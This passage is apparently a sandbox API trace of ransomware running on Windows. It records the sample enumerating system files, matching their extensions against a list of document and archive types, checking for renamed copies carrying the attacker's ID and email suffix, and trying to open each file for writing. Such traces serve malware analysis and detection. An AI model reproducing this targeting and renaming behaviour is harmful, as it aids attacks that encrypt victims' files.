Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.607] lstrlenW (lpString=".1cd") returned 4 [0050.607] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.607] lstrlenW (lpString=".jpg") returned 4 [0050.607] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.607] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0050.607] lstrlenW (lpString="split.avi") returned 9 [0050.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0051.007] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=194048) returned 1 [0051.008] CloseHandle (hObject=0x1ac) returned 1 [0051.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0051.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.009] lstrlenW (lpString=".doc") returned 4 [0051.009] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0051.009] lstrlenW (lpString=".docx") returned 5 [0051.009] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0051.009] lstrlenW (lpString=".pdf") returned 4 [0051.009] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0051.009] lstrlenW (lpString=".xls") returned 4 [0051.009] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0051.009] lstrlenW (lpString=".xlsx") returned 5 [0051.009] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0051.009] lstrlenW (lpString=".ppt") returned 4 [0051.010] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0051.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.010] lstrlenW (lpString=".zip") returned 4 [0051.010] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0051.010] lstrlenW (lpString=".rar") returned 4 [0051.010] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0051.010] lstrlenW (lpString=".bz2") returned 4 [0051.010] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0051.010] lstrlenW (lpString=".7z") returned 3 [0051.010] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0051.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.010] lstrlenW (lpString=".dbf") returned 4 [0051.010] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0051.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.010] lstrlenW (lpString=".1cd") returned 4 [0051.010] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0051.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.010] lstrlenW (lpString=".jpg") returned 4 [0051.010] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0051.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.011] lstrlenW (lpString=".doc") returned 4 [0051.011] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0051.011] lstrlenW (lpString=".docx") returned 5 [0051.011] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0051.011] lstrlenW (lpString=".pdf") returned 4 [0051.011] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0051.011] lstrlenW (lpString=".xls") returned 4 [0051.011] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0051.011] lstrlenW (lpString=".xlsx") returned 5 [0051.011] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0051.011] lstrlenW (lpString=".ppt") returned 4 [0051.011] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0051.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.011] lstrlenW (lpString=".zip") returned 4 [0051.011] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0051.011] lstrlenW (lpString=".rar") returned 4 [0051.011] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0051.011] lstrlenW (lpString=".bz2") returned 4 [0051.011] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0051.012] lstrlenW (lpString=".7z") returned 3 [0051.012] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0051.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.012] lstrlenW (lpString=".dbf") returned 4 [0051.012] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0051.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.012] lstrlenW (lpString=".1cd") returned 4 [0051.012] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0051.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0051.012] lstrlenW (lpString=".jpg") returned 4 [0051.012] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0051.012] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.012] lstrlenW (lpString="base.xml") returned 8 [0051.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.840] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3150) returned 1 [0051.840] CloseHandle (hObject=0x208) returned 1 [0051.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0051.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.840] lstrlenW (lpString=".doc") returned 4 [0051.840] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.840] lstrlenW (lpString=".docx") returned 5 [0051.841] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.841] lstrlenW (lpString=".pdf") returned 4 [0051.841] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.841] lstrlenW (lpString=".xls") returned 4 [0051.841] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.841] lstrlenW (lpString=".xlsx") returned 5 [0051.841] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.841] lstrlenW (lpString=".ppt") returned 4 [0051.841] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.841] lstrlenW (lpString=".zip") returned 4 [0051.841] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.841] lstrlenW (lpString=".rar") returned 4 [0051.841] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.841] lstrlenW (lpString=".bz2") returned 4 [0051.841] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.841] lstrlenW (lpString=".7z") returned 3 [0051.841] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.842] lstrlenW (lpString=".dbf") returned 4 [0051.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.842] lstrlenW (lpString=".1cd") returned 4 [0051.842] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.842] lstrlenW (lpString=".jpg") returned 4 [0051.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.842] lstrlenW (lpString=".doc") returned 4 [0051.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.842] lstrlenW (lpString=".docx") returned 5 [0051.842] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.842] lstrlenW (lpString=".pdf") returned 4 [0051.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.842] lstrlenW (lpString=".xls") returned 4 [0051.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.843] lstrlenW (lpString=".xlsx") returned 5 [0051.843] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.843] lstrlenW (lpString=".ppt") returned 4 [0051.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.843] lstrlenW (lpString=".zip") returned 4 [0051.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.843] lstrlenW (lpString=".rar") returned 4 [0051.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.843] lstrlenW (lpString=".bz2") returned 4 [0051.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.843] lstrlenW (lpString=".7z") returned 3 [0051.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.843] lstrlenW (lpString=".dbf") returned 4 [0051.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.843] lstrlenW (lpString=".1cd") returned 4 [0051.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0051.843] lstrlenW (lpString=".jpg") returned 4 [0051.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.844] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.844] lstrlenW (lpString="oskmenubase.xml") returned 15 [0051.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0051.891] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=471) returned 1 [0051.891] CloseHandle (hObject=0x1cc) returned 1 [0051.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0051.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.893] lstrlenW (lpString=".doc") returned 4 [0051.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.893] lstrlenW (lpString=".docx") returned 5 [0051.893] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.893] lstrlenW (lpString=".pdf") returned 4 [0051.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.893] lstrlenW (lpString=".xls") returned 4 [0051.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.893] lstrlenW (lpString=".xlsx") returned 5 [0051.893] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.893] lstrlenW (lpString=".ppt") returned 4 [0051.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.893] lstrlenW (lpString=".zip") returned 4 [0051.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.893] lstrlenW (lpString=".rar") returned 4 [0051.894] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.894] lstrlenW (lpString=".bz2") returned 4 [0051.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.894] lstrlenW (lpString=".7z") returned 3 [0051.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.894] lstrlenW (lpString=".dbf") returned 4 [0051.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.894] lstrlenW (lpString=".1cd") returned 4 [0051.894] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.894] lstrlenW (lpString=".jpg") returned 4 [0051.894] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.894] lstrlenW (lpString=".doc") returned 4 [0051.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.894] lstrlenW (lpString=".docx") returned 5 [0051.894] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.894] lstrlenW (lpString=".pdf") returned 4 [0051.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.895] lstrlenW (lpString=".xls") returned 4 [0051.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.895] lstrlenW (lpString=".xlsx") returned 5 [0051.895] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.895] lstrlenW (lpString=".ppt") returned 4 [0051.895] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.895] lstrlenW (lpString=".zip") returned 4 [0051.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.895] lstrlenW (lpString=".rar") returned 4 [0051.895] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.895] lstrlenW (lpString=".bz2") returned 4 [0051.895] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.895] lstrlenW (lpString=".7z") returned 3 [0051.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.895] lstrlenW (lpString=".dbf") returned 4 [0051.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.895] lstrlenW (lpString=".1cd") returned 4 [0051.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0051.896] lstrlenW (lpString=".jpg") returned 4 [0051.896] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.896] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.896] lstrlenW (lpString="osknumpadbase.xml") returned 17 [0051.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0051.896] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1437) returned 1 [0051.896] CloseHandle (hObject=0x1cc) returned 1 [0051.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0051.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.897] lstrlenW (lpString=".doc") returned 4 [0051.897] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.897] lstrlenW (lpString=".docx") returned 5 [0051.897] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.897] lstrlenW (lpString=".pdf") returned 4 [0051.897] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.897] lstrlenW (lpString=".xls") returned 4 [0051.897] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.897] lstrlenW (lpString=".xlsx") returned 5 [0051.897] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.897] lstrlenW (lpString=".ppt") returned 4 [0051.897] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.897] lstrlenW (lpString=".zip") returned 4 [0051.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.897] lstrlenW (lpString=".rar") returned 4 [0051.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.898] lstrlenW (lpString=".bz2") returned 4 [0051.898] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.898] lstrlenW (lpString=".7z") returned 3 [0051.898] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.898] lstrlenW (lpString=".dbf") returned 4 [0051.898] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.898] lstrlenW (lpString=".1cd") returned 4 [0051.898] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.898] lstrlenW (lpString=".jpg") returned 4 [0051.898] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.898] lstrlenW (lpString=".doc") returned 4 [0051.898] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.898] lstrlenW (lpString=".docx") returned 5 [0051.898] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.899] lstrlenW (lpString=".pdf") returned 4 [0051.899] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.899] lstrlenW (lpString=".xls") returned 4 [0051.899] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.899] lstrlenW (lpString=".xlsx") returned 5 [0051.899] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.899] lstrlenW (lpString=".ppt") returned 4 [0051.899] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.899] lstrlenW (lpString=".zip") returned 4 [0051.899] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.899] lstrlenW (lpString=".rar") returned 4 [0051.899] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.899] lstrlenW (lpString=".bz2") returned 4 [0051.899] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.899] lstrlenW (lpString=".7z") returned 3 [0051.899] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.899] lstrlenW (lpString=".dbf") returned 4 [0051.899] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.900] lstrlenW (lpString=".1cd") returned 4 [0051.934] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0051.934] lstrlenW (lpString=".jpg") returned 4 [0051.934] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.934] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.934] lstrlenW (lpString="osknumpad.xml") returned 13 [0051.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0051.974] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=219) returned 1 [0051.974] CloseHandle (hObject=0x1cc) returned 1 [0051.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0051.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 